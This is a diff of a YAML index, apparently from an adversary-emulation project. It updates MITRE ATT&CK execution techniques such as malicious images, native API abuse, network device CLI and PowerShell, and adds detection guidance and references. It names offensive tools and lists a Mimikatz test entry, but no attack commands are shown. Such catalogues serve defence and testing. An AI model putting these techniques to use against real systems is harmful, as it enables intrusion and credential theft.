-      - source_name: Summit Route Malicious AMIs
-        url: https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/
-        description: Piper, S.. (2018, September 24). Investigating Malicious AMIs.
-          Retrieved March 30, 2021.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Malicious Image
-      description: |-
-        Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)
-
-        Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).
-      id: attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: execution
-      modified: '2021-04-12T17:54:08.797Z'
-      created: '2021-03-30T17:20:05.789Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      x_mitre_detection: Monitor the local image registry to make sure malicious images
-        are not added. Track the deployment of new containers, especially from newly
-        built images. Monitor the behavior of containers within the environment to
-        detect anomalous behavior or malicious activity after users deploy from malicious
-        images.
-      x_mitre_contributors:
-      - Center for Threat-Informed Defense (CTID)
-      - Vishwas Manral, McAfee
-      x_mitre_platforms:
-      - IaaS
-      - Containers
+      name: Malicious Image
       x_mitre_data_sources:
       - 'Container: Container Creation'
       - 'Container: Container Start'
@@ -65662,15 +67752,63 @@ execution:
       - 'Instance: Instance Creation'
       - 'Instance: Instance Start'
       - 'Application Log: Application Log Content'
-    atomic_tests: []
-  T1204.001:
-    technique:
-      created: '2020-03-11T14:43:31.706Z'
-      modified: '2020-03-11T14:43:31.706Z'
+      x_mitre_version: '1.1'
+      modified: '2021-08-26T16:42:35.318Z'
+      created: '2021-03-30T17:20:05.789Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: execution
+      id: attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec
+      x_mitre_platforms:
+      - IaaS
+      - Containers
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      description: |-
+        Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)
+
+        Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021)
+      x_mitre_contributors:
+      - Center for Threat-Informed Defense (CTID)
+      - Vishwas Manral, McAfee
+      x_mitre_detection: Monitor the local image registry to make sure malicious images
+        are not added. Track the deployment of new containers, especially from newly
+        built images. Monitor the behavior of containers within the environment to
+        detect anomalous behavior or malicious activity after users deploy from malicious
+        images.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1204/003
+        external_id: T1204.003
+        source_name: mitre-attack
+      - url: https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/
+        description: Piper, S.. (2018, September 24). Investigating Malicious AMIs.
+          Retrieved March 30, 2021.
+        source_name: Summit Route Malicious AMIs
+      - url: https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation
+        description: Team Nautilus. (2021, June). Attacks in the Wild on the Container
+          Supply Chain and Infrastructure. Retrieved August 26, 2021.
+        source_name: Aqua Security Cloud Native Threat Report June 2021
+    atomic_tests: []
+  T1204.001:
+    technique:
       type: attack-pattern
+      modified: '2020-03-11T14:43:31.706Z'
+      name: Malicious Link
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Connection Creation'
+      - 'Network Traffic: Network Traffic Content'
+      - 'File: File Creation'
+      x_mitre_version: '1.0'
+      created: '2020-03-11T14:43:31.706Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9
       description: An adversary may rely upon a user clicking a malicious link in
         order to gain execution. Users may be subjected to social engineering to get
@@ -65680,125 +67818,129 @@ execution:
         of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).
         Links may also lead users to download files that require execution via [Malicious
         File](https://attack.mitre.org/techniques/T1204/002).
-      name: Malicious Link
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1204.001
-        url: https://attack.mitre.org/techniques/T1204/001
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Connection Creation'
-      - 'Network Traffic: Network Traffic Content'
-      - 'File: File Creation'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: execution
       x_mitre_detection: |-
         Inspect network traffic for indications that a user visited a malicious site, such as links included in phishing campaigns directed at your organization.
 
         Anti-virus can potentially detect malicious documents and files that are downloaded from a link and executed on the user's computer.
-      x_mitre_permissions_required:
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1204/001
+        external_id: T1204.001
+        source_name: mitre-attack
     atomic_tests: []
   T1106:
     technique:
-      id: attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Native API
-      description: |-
-        Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
-
-        Functionality provided by native APIs are often also exposed to user-mode applications via interfaces and libraries. For example, functions such as the Windows API <code>CreateProcess()</code> or GNU <code>fork()</code> will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)
-
-        Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)
-
-        Adversaries may abuse these native API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces, provide mechanisms to interact with and utilize various components of a victimized system.
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1106
-        url: https://attack.mitre.org/techniques/T1106
-      - source_name: NT API Windows
-        url: https://undocumented.ntinternals.net/
-        description: The NTinterlnals.net team. (n.d.). Nowak, T. Retrieved June 25,
-          2020.
-      - source_name: Linux Kernel API
-        url: https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html
-        description: Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API.
-          Retrieved June 25, 2020.
-      - url: http://msdn.microsoft.com/en-us/library/ms682425
-        description: Microsoft. (n.d.). CreateProcess function. Retrieved December
-          5, 2014.
-        source_name: Microsoft CreateProcess
-      - source_name: GNU Fork
-        url: https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html
-        description: Free Software Foundation, Inc.. (2020, June 18). Creating a Process.
-          Retrieved June 25, 2020.
-      - source_name: Microsoft Win32
-        url: https://docs.microsoft.com/en-us/windows/win32/api/
-        description: Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved
-          March 15, 2020.
-      - source_name: LIBC
-        url: https://man7.org/linux/man-pages//man7/libc.7.html
-        description: Kerrisk, M. (2016, December 12). libc(7) — Linux manual page.
-          Retrieved June 25, 2020.
-      - source_name: GLIBC
-        url: https://www.gnu.org/software/libc/
-        description: glibc developer community. (2020, February 1). The GNU C Library
-          (glibc). Retrieved June 25, 2020.
-      - source_name: Microsoft NET
-        url: https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework
-        description: Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15,
-          2020.
-      - source_name: Apple Core Services
-        url: https://developer.apple.com/documentation/coreservices
-        description: Apple. (n.d.). Core Services. Retrieved June 25, 2020.
-      - source_name: MACOS Cocoa
-        url: https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1
-        description: Apple. (2015, September 16). Cocoa Application Layer. Retrieved
-          June 25, 2020.
-      - source_name: macOS Foundation
-        url: https://developer.apple.com/documentation/foundation
-        description: Apple. (n.d.). Foundation. Retrieved July 1, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: execution
-      modified: '2020-07-01T16:19:54.646Z'
+      name: Native API
+      x_mitre_data_sources:
+      - 'Process: OS API Execution'
+      - 'Module: Module Load'
+      x_mitre_version: '2.1'
+      modified: '2021-10-18T21:24:30.764Z'
       created: '2017-05-31T21:31:17.472Z'
+      x_mitre_remote_support: false
+      id: attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670
       x_mitre_platforms:
       - Windows
       - macOS
       - Linux
-      x_mitre_remote_support: false
+      x_mitre_is_subtechnique: false
       x_mitre_permissions_required:
       - User
+      description: |-
+        Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
+
+        Native API functions (such as <code>NtCreateProcess</code>) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries. (Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API <code>CreateProcess()</code> or GNU <code>fork()</code> will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)
+
+        Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)
+
+        Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. While invoking API functions, adversaries may also attempt to bypass defensive tools (ex: unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)).
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: execution
+      x_mitre_contributors:
+      - Gordon Long, Box, Inc., @ethicalhax
+      - Stefan Kanthak
       x_mitre_detection: "Monitoring API calls may generate a significant amount of
         data and may not be useful for defense unless collected under specific circumstances,
-        since benign use of API functions are common and difficult to distinguish
+        since benign use of API functions are common and may be difficult to distinguish
         from malicious behavior. Correlation of other events with behavior surrounding
         API function calls using API monitoring will provide additional context to
         an event that may assist in determining if it is due to malicious behavior.
         Correlation of activity by process lineage by process ID may be sufficient.
-        \n\nUtilization of the Windows API may involve processes loading/accessing
-        system DLLs associated with providing called functions (ex: kernel32.dll,
+        \n\nUtilization of the Windows APIs may involve processes loading/accessing
+        system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll,
         advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially
         to abnormal/unusual or potentially malicious processes, may indicate abuse
         of the Windows API. Though noisy, this data can be combined with other indicators
         to identify adversary activity. "
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Module: Module Load'
-      x_mitre_contributors:
-      - Stefan Kanthak
-      x_mitre_version: '2.0'
-      x_mitre_is_subtechnique: false
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1106
+        external_id: T1106
+        source_name: mitre-attack
+      - url: https://undocumented.ntinternals.net/
+        description: The NTinterlnals.net team. (n.d.). Nowak, T. Retrieved June 25,
+          2020.
+        source_name: NT API Windows
+      - url: https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html
+        description: Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API.
+          Retrieved June 25, 2020.
+        source_name: Linux Kernel API
+      - url: https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/
+        description: 'de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct
+          System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.'
+        source_name: OutFlank System Calls
+      - url: https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/
+        description: Gavriel, H. (2018, November 27). Malware Mitigation when Direct
+          System Calls are Used. Retrieved September 29, 2021.
+        source_name: CyberBit System Calls
+      - url: https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/
+        description: MDSec Research. (2020, December). Bypassing User-Mode Hooks and
+          Direct Invocation of System Calls for Red Teams. Retrieved September 29,
+          2021.
+        source_name: MDSec System Calls
+      - source_name: Microsoft CreateProcess
+        description: Microsoft. (n.d.). CreateProcess function. Retrieved December
+          5, 2014.
+        url: http://msdn.microsoft.com/en-us/library/ms682425
+      - url: https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html
+        description: Free Software Foundation, Inc.. (2020, June 18). Creating a Process.
+          Retrieved June 25, 2020.
+        source_name: GNU Fork
+      - url: https://docs.microsoft.com/en-us/windows/win32/api/
+        description: Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved
+          March 15, 2020.
+        source_name: Microsoft Win32
+      - url: https://man7.org/linux/man-pages//man7/libc.7.html
+        description: Kerrisk, M. (2016, December 12). libc(7) — Linux manual page.
+          Retrieved June 25, 2020.
+        source_name: LIBC
+      - url: https://www.gnu.org/software/libc/
+        description: glibc developer community. (2020, February 1). The GNU C Library
+          (glibc). Retrieved June 25, 2020.
+        source_name: GLIBC
+      - url: https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework
+        description: Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15,
+          2020.
+        source_name: Microsoft NET
+      - url: https://developer.apple.com/documentation/coreservices
+        description: Apple. (n.d.). Core Services. Retrieved June 25, 2020.
+        source_name: Apple Core Services
+      - url: https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1
+        description: Apple. (2015, September 16). Cocoa Application Layer. Retrieved
+          June 25, 2020.
+        source_name: MACOS Cocoa
+      - url: https://developer.apple.com/documentation/foundation
+        description: Apple. (n.d.). Foundation. Retrieved July 1, 2020.
+        source_name: macOS Foundation
       identifier: T1106
     atomic_tests:
     - name: Execution through API - CreateProcess
@@ -65823,7 +67965,25 @@ execution:
         name: command_prompt
   T1059.008:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Network Device CLI
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      x_mitre_version: '1.1'
+      modified: '2021-07-26T15:57:50.800Z'
+      created: '2020-10-20T00:09:33.072Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: execution
       id: attack-pattern--818302b2-d640-477b-bf88-873120ce85c4
+      x_mitre_platforms:
+      - Network
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - User
       description: "Adversaries may abuse scripting or built-in command line interpreters
         (CLI) on network devices to execute malicious command and payloads. The CLI
         is the primary means through which users and administrators interact with
@@ -65832,86 +67992,52 @@ execution:
         various permission levels required for different commands. \n\nScripting interpreters
         automate tasks and extend functionality beyond the command set included in
         the network OS. The CLI and scripting interpreter are accessible through a
-        direct console connection, or through remote means, such as telnet or secure
-        shell (SSH).\n\nAdversaries can use the network CLI to change how network
-        devices behave and operate. The CLI may be used to manipulate traffic flows
-        to intercept or manipulate data, modify startup configuration parameters to
-        load malicious system software, or to disable security features or logging
-        to avoid detection. (Citation: Cisco Synful Knock Evolution)"
-      name: Network Device CLI
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1059.008
-        url: https://attack.mitre.org/techniques/T1059/008
-      - source_name: Cisco Synful Knock Evolution
-        url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
-        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
-          IOS devices. Retrieved October 19, 2020.
-      - source_name: Cisco IOS Software Integrity Assurance - Command History
-        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#23
-        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command
-          History. Retrieved October 21, 2020.
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: execution
-      modified: '2020-10-22T16:43:38.388Z'
-      created: '2020-10-20T00:09:33.072Z'
-      x_mitre_data_sources:
-      - 'Command: Command Execution'
-      x_mitre_platforms:
-      - Network
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+        direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).\n\nAdversaries
+        can use the network CLI to change how network devices behave and operate.
+        The CLI may be used to manipulate traffic flows to intercept or manipulate
+        data, modify startup configuration parameters to load malicious system software,
+        or to disable security features or logging to avoid detection. (Citation:
+        Cisco Synful Knock Evolution)"
+      x_mitre_remote_support: true
       x_mitre_detection: |-
         Consider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.(Citation: Cisco IOS Software Integrity Assurance - Command History)
 
         Consider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.
-      x_mitre_permissions_required:
-      - Administrator
-      - User
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1059/008
+        external_id: T1059.008
+        source_name: mitre-attack
+      - url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
+        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
+          IOS devices. Retrieved October 19, 2020.
+        source_name: Cisco Synful Knock Evolution
+      - url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#23
+        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command
+          History. Retrieved October 21, 2020.
+        source_name: Cisco IOS Software Integrity Assurance - Command History
     atomic_tests: []
   T1059.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1059.001
-        url: https://attack.mitre.org/techniques/T1059/001
-      - url: https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx
-        description: Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April
-          28, 2016.
-        source_name: TechNet PowerShell
-      - url: https://github.com/jaredhaight/PSAttack
-        description: Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016.
-        source_name: Github PSAttack
-      - source_name: Sixdub PowerPick Jan 2016
-        url: http://www.sixdub.net/?p=367
-        description: Warner, J.. (2015, January 6). Inexorable PowerShell – A Red
-          Teamer’s Tale of Overcoming Simple AppLocker Policies. Retrieved December
-          8, 2018.
-      - source_name: SilentBreak Offensive PS Dec 2015
-        url: https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/
-        description: Christensen, L.. (2015, December 28). The Evolution of Offensive
-          PowerShell Invocation. Retrieved December 8, 2018.
-      - source_name: Microsoft PSfromCsharp APR 2014
-        url: https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/
-        description: Babinec, K. (2014, April 28). Executing PowerShell scripts from
-          C#. Retrieved April 22, 2019.
-      - url: http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf
-        description: Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING
-          CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.
-        source_name: Malware Archaeology PowerShell Cheat Sheet
-      - url: https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html
-        description: Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH
-          POWERSHELL LOGGING. Retrieved February 16, 2016.
-        source_name: FireEye PowerShell Logging 2016
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      modified: '2021-05-28T14:56:23.748Z'
       name: PowerShell
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      - 'Module: Module Load'
+      - 'Process: Process Creation'
+      - 'Script: Script Execution'
+      x_mitre_version: '1.1'
+      created: '2020-03-09T13:48:55.078Z'
+      x_mitre_contributors:
+      - Praetorian
+      id: attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      - Administrator
       description: |-
         Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the <code>Start-Process</code> cmdlet which can be used to run an executable and the <code>Invoke-Command</code> cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
 
@@ -65920,18 +68046,11 @@ execution:
         A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363),  [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)
 
         PowerShell commands/scripts can also be executed without directly invoking the <code>powershell.exe</code> binary through interfaces to PowerShell's underlying <code>System.Management.Automation</code> assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)
-      id: attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736
-      type: attack-pattern
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: execution
-      modified: '2020-06-24T13:51:22.360Z'
-      created: '2020-03-09T13:48:55.078Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      - Administrator
       x_mitre_remote_support: true
       x_mitre_detection: |-
         If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.
@@ -65939,15 +68058,39 @@ execution:
         Monitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)
 
         It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.
-      x_mitre_data_sources:
-      - 'Command: Command Execution'
-      - 'Module: Module Load'
-      - 'Process: Process Creation'
-      - 'Script: Script Execution'
-      x_mitre_contributors:
-      - Praetorian
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1059/001
+        external_id: T1059.001
+        source_name: mitre-attack
+      - source_name: TechNet PowerShell
+        description: Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April
+          28, 2016.
+        url: https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx
+      - source_name: Github PSAttack
+        description: Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016.
+        url: https://github.com/jaredhaight/PSAttack
+      - url: http://www.sixdub.net/?p=367
+        description: Warner, J.. (2015, January 6). Inexorable PowerShell – A Red
+          Teamer’s Tale of Overcoming Simple AppLocker Policies. Retrieved December
+          8, 2018.
+        source_name: Sixdub PowerPick Jan 2016
+      - url: https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/
+        description: Christensen, L.. (2015, December 28). The Evolution of Offensive
+          PowerShell Invocation. Retrieved December 8, 2018.
+        source_name: SilentBreak Offensive PS Dec 2015
+      - url: https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/
+        description: Babinec, K. (2014, April 28). Executing PowerShell scripts from
+          C#. Retrieved April 22, 2019.
+        source_name: Microsoft PSfromCsharp APR 2014
+      - source_name: Malware Archaeology PowerShell Cheat Sheet
+        description: Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING
+          CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.
+        url: http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf
+      - source_name: FireEye PowerShell Logging 2016
+        description: Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH
+          POWERSHELL LOGGING. Retrieved February 16, 2016.
+        url: https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html
       identifier: T1059.001
     atomic_tests:
     - name: Mimikatz
@@ -66452,44 +68595,45 @@ execution:
         name: powershell
   T1059.006:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1059.006
-        url: https://attack.mitre.org/techniques/T1059/006
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Python
-      description: |-
-        Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the <code>python.exe</code> interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.
-
-        Python comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.
-      id: attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: execution
-      modified: '2020-06-23T19:03:15.180Z'
-      created: '2020-03-09T14:38:24.334Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_system_requirements:
-      - Python is installed.
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
-      - root
-      x_mitre_detection: |-
-        Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.
-
